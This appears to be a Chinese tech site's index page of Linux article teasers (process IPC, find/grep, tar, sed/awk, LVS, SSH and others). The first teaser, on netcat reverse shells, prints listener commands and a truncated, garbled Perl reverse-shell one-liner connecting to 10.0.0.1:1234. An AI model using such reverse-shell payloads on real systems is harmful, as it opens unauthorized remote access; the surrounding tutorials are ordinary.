-
Linux下NC反弹shell命令(推荐)
所属栏目:[安全] 日期:2020-12-15 热度:52
本机开启监听: nc -lvnp 4444nc -vvlp 4444 目标机器开启反弹 bash版本: bash -i gt;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,"open(STDOUT,"open(STDERR,"e[详细]
-
详谈Linux写时拷贝技术(copy-on-write)必看篇
所属栏目:[安全] 日期:2020-12-15 热度:186
COW技术初窥 在linux程序中,fork()会产生一个和父进程完全相同的子进程,但子进程在此后多会exec系统调用,出于效率考虑,linux中引入了“写时复制”技术,也就是只有进程空间的各段的内容要发生变化时,才将父进程的内容复制一份给子进程。 那么子进程的物[详细]
-
Linux消息队列实现进程间通信实例详解
所属栏目:[安全] 日期:2020-12-15 热度:56
Linux消息队列实现进程间通信实例详解 一、什么是消息队列 消息队列提供了一种从一个进程向另一个进程发送一个数据块的方法。 每个数据块都被认为含有一个类型,接收进程可以独立地接收含有不同类型的数据结构。我们可以通过发送消息来避免命名管道的同步和[详细]
-
Linux C中多线程与volatile变量
所属栏目:[安全] 日期:2020-12-15 热度:101
Linux C中多线程与volatile变量 volatile 修饰的变量表示改变量的值是易变的,编译器不对其进行优化,访问该变量的时候不会从寄存器读取, 而是直接从内存读取变量。 在多线程环境下,每个线程都有一个独立的寄存器,用于保存当前执行的指令。假设我们定义了[详细]
-
Linux中的host命令应用实例详解
所属栏目:[安全] 日期:2020-12-15 热度:184
Linux中的host命令应用举例 一 命令语法 功能:查出某个主机名的IP host hostname [server] [server]:使用不是由/etc/resolv.conf文件定义的DNS服务器IP来查询某台主机的IP。 二 应用举例 第一种方法:是用resolv.conf中定义的DNS服务器查出百度主机的IP。[详细]
-
Linux下find和grep常用命令及区别介绍
所属栏目:[安全] 日期:2020-12-15 热度:176
在使用linux时,经常需要进行文件查找。其中查找的命令主要有find和grep。两个命令是有区别的。 区别: (1)find命令是根据文件的属性进行查找,如文件名,文件大小,所有者,所属组,是否为空,访问时间,修改时间等。 (2)grep是根据文件的内容进行查找,会[详细]
-
Linux中的搜索文件命令
所属栏目:[安全] 日期:2020-12-15 热度:110
文件搜索命令locate:搜索快,新建文件无法搜索; 命令格式: locate 文件名 //在后台数据库中按文件名搜索,搜索速度快; /var/lib/mlocate : locate命令所搜索的后台数据库 命令:updatedb // 更新数据库,默认是一天自动更新; /etc/uodatedb.conf 配置文[详细]
-
详解TCP的四种定时器
所属栏目:[安全] 日期:2020-12-15 热度:172
详解TCP的四种定时器 在TCP协议中有的时候需要定期或者按照某个算法对某个事件进行触发,那么这个时候,TCP协议是使用定时器进行实现的。在TCP中,会有四种定时器: (1)重传定时器 (2)坚持定时器 (3)保活定时器 (4) 时间等待计时器 这四个定时器都有各自的具[详细]
-
Linux Bash 提示符的一些骚操作(自定义 Bash 提示符)
所属栏目:[安全] 日期:2020-12-15 热度:191
一些能让你自定义 Bash 提示符的黑科技 当你在 Linux 环境下打开一个 Shell 终端时,会看到命令行中出现了类似下面的一个 Bash 提示符: [user@$host ~]$ 你知道命令行提示符其实是可以自己设置添加许多非常有用的信息的吗?在这篇文章中我就会教你如何自定[详细]
-
关于SSH 远程执行命令你要知道的二三事
所属栏目:[安全] 日期:2020-12-15 热度:183
前言 相信大家在工作的时侯,可能会遇到要利用 ssh 在本地执行远程机器的命令可以便捷地处理某些重复工作,我们希望做到: 免手工输入密码 支持执行多个命令,执行 shell 脚本 支持执行 sudo 的命令 免手工输入密码 我们可以使用 ssh 互信,sshpass 和 expec[详细]
-
shell脚本学习之调用脚本将文件打包zip的方法示例
所属栏目:[安全] 日期:2020-12-15 热度:123
前言 本文主要给大家介绍的是关于调用脚本将文件打包zip的相关资料,分享出来供大家参考学习,下面来一起看看详细的介绍: 最近刚刚接触shell脚本,写了一点简单的练手。这里是用python调用脚本执行打包操作。 方法如下: 第一步,创建脚本: #!/bin/shCERT_[详细]
-
linux 查看端口占用命令实例详解
所属栏目:[安全] 日期:2020-12-15 热度:64
linux 查看端口占用命令实例详解 端口是系统非常重要的一个东东,我们经常需要查看哪个进程占用了哪个端口,或者哪个端口被哪个进程占用。废话不多说,直接上干货,教大家怎样查看系统端口占用情况。 方法一: 1.先用 ps -ef | grep xxx (某个进程),可以查[详细]
-
Linux中多线程详解及简单实例
所属栏目:[安全] 日期:2020-12-15 热度:100
Linux中多线程详解及简单实例 1.概念 进程:运行中的程序。 线程:一个程序中的多个执行路径。更准确的定义是:线程是一个进程内部的一个控制序列。 2.为什么要有线程? 用fork调用进程代价太高,需要让一个进程同时做多件事情,线程就非常有用。 3.线程的优[详细]
-
提高你工作效率的shell命令总结大全
所属栏目:[安全] 日期:2020-12-15 热度:198
前言 大家都知道Shell是一个用C语言编写的程序,它是用户使用 Linux 的桥梁。Shell就是一个命令行解释器,它的作用是解释执行用户的命令,用户输入一条命令,Shell就解释执行一条,这种方式称为交互式(Interactive)。下面这篇文章主要给大家分享了一些关于提高[详细]
-
浅析Linux中重定向问题
所属栏目:[安全] 日期:2020-12-15 热度:118
简介 在计算领域,重定向是大多数命令行解释器所具有的功能,包括各种可以将标准流重定向用户规定地点的Unix shells。类Unix操作系统的程序可以通过dup2系统调用完成重定向,或者通过缺少一些灵活性但是更高一级层次的freopen(3)和popen来完成。 1重定向 1.1[详细]
-
Linux查看端口占用lsof -i:port的方法
所属栏目:[安全] 日期:2020-12-15 热度:93
如下所示: # lsof -i:8080 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME java 940 root 48u IPv4 14396 0t0 TCP *:webcache (LISTEN) 以上这篇Linux查看端口占用lsof -i:port的方法)就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望[详细]
-
linux下的tar命令详细解释
所属栏目:[安全] 日期:2020-12-15 热度:116
tar命令 [root@Linux ~]# tar [-cxtzjvfpPN] 文件与目录 .... 参数: -c :建立一个压缩文件的参数指令(create 的意思); -x :解开一个压缩文件的参数指令! -t :查看 tarfile 里面的文件! 特别注意,在参数的下达中, c/x/t 仅能存在一个!不可同时存在[详细]
-
Linux Shell循环中实现展示进度百分比的实现方法
所属栏目:[安全] 日期:2020-12-15 热度:185
Shell 循环中实现展示进度百分比的脚本方法 当我需要处理一个几万行的文件的时候,需要处理的时间是比较长的。我一开始的想法是,没处理一行,就输出一个 # 号。但是这样还是会出现很多很多的 # 号,即便是放在一行,也是非常不优雅的。所以,我想实现一个展[详细]
-
详解Shell 命令行批量处理图片文件名的实例
所属栏目:[安全] 日期:2020-12-15 热度:122
Shell 命令行批量处理图片文件名 前言: 从网上下载了一堆图片,有的是*.jpg的,有的是*.jpeg的。并且文件名有长有短,很是糟心。因此,我想把这些文件给全部整理好,当然是用shell来处理啦! 说干就干。 循环所有文件 首先,我把所有的乱七八糟的图片,全部[详细]
-
Linux下利用Opencv打开笔记本摄像头问题
所属栏目:[安全] 日期:2020-12-15 热度:166
新建test文件夹,文件夹存在 test.cpp 和 CMakeLists.txttest.cpp#include iostream #include string#include sstream#include opencv2/core.hpp#include opencv2/highgui.hpp#include opencv2/videoio.hpp using namespace cv;using namespace std;const ch[详细]
-
Linux中 sed 和 awk的用法详解
所属栏目:[安全] 日期:2020-12-15 热度:165
sed用法: sed是一个很好的文件处理工具,本身是一个管道命令,主要是以行为单位进行处理,可以将数据行进行替换、删除、新增、选取等特定工作,下面先了解一下sed的用法 sed命令行格式为: sed [-nefri] ‘command' 输入文本 常用选项: -n∶使用安静(silen[详细]
-
Linux 中LVS NAT 配置步骤的详解
所属栏目:[安全] 日期:2020-12-15 热度:79
Linux 中LVS NAT 配置步骤的详解 概要: 规划机器与IP地址, LVS集群中有三种类型机器4种IP地址。机器类型:Client、Director、Real Server,与机器类型对应的IP地址分别为:CIP、DIP、RIP,Director对应两种IP 除了DIP外还有一个VIP。通常DIP、RIP在一个网络[详细]
-
详解Linux Shell 实现一个获取任意位数的随机密码的脚本
所属栏目:[安全] 日期:2020-12-15 热度:67
Shell 命令行,实现一个获取任意位数的随机密码的脚本 每次我们想要获得一个密码的时候都很头疼,于是我之前自己用nodejs写了一个 Shell 脚本。这两天在学习 bash Shell 所以,想用同样的逻辑实现一个获取任意位数随机密码的脚本。 我成功了 :) 分析问题 我[详细]
-
linux创建用户useradd命令代码示例
所属栏目:[安全] 日期:2020-12-15 热度:164
一,adduser与useradd命令二者的关系 代码示例: [root@larrywen opt]# type adduser adduser is /usr/sbin/adduser [root@larrywen opt]# type useradd useradd is /usr/sbin/useradd [root@larrywen opt]# which useradd /usr/sbin/useradd [root@larrywen[详细]
-
linux 中的ls命令参数详解及ls命令的使用实例
所属栏目:[安全] 日期:2020-12-15 热度:169
一、ls命令参数详解 可以通过阅读 ls 的说明书页(man ls)来获得选项的完整列表。 -a C 全部(all)。列举目录中的全部文件,包括隐藏文件(.filename)。位于这个列表的起首处的 .. 和 . 依次是指父目录和你的当前目录。 -l C 长(long)。列举目录内容的[详细]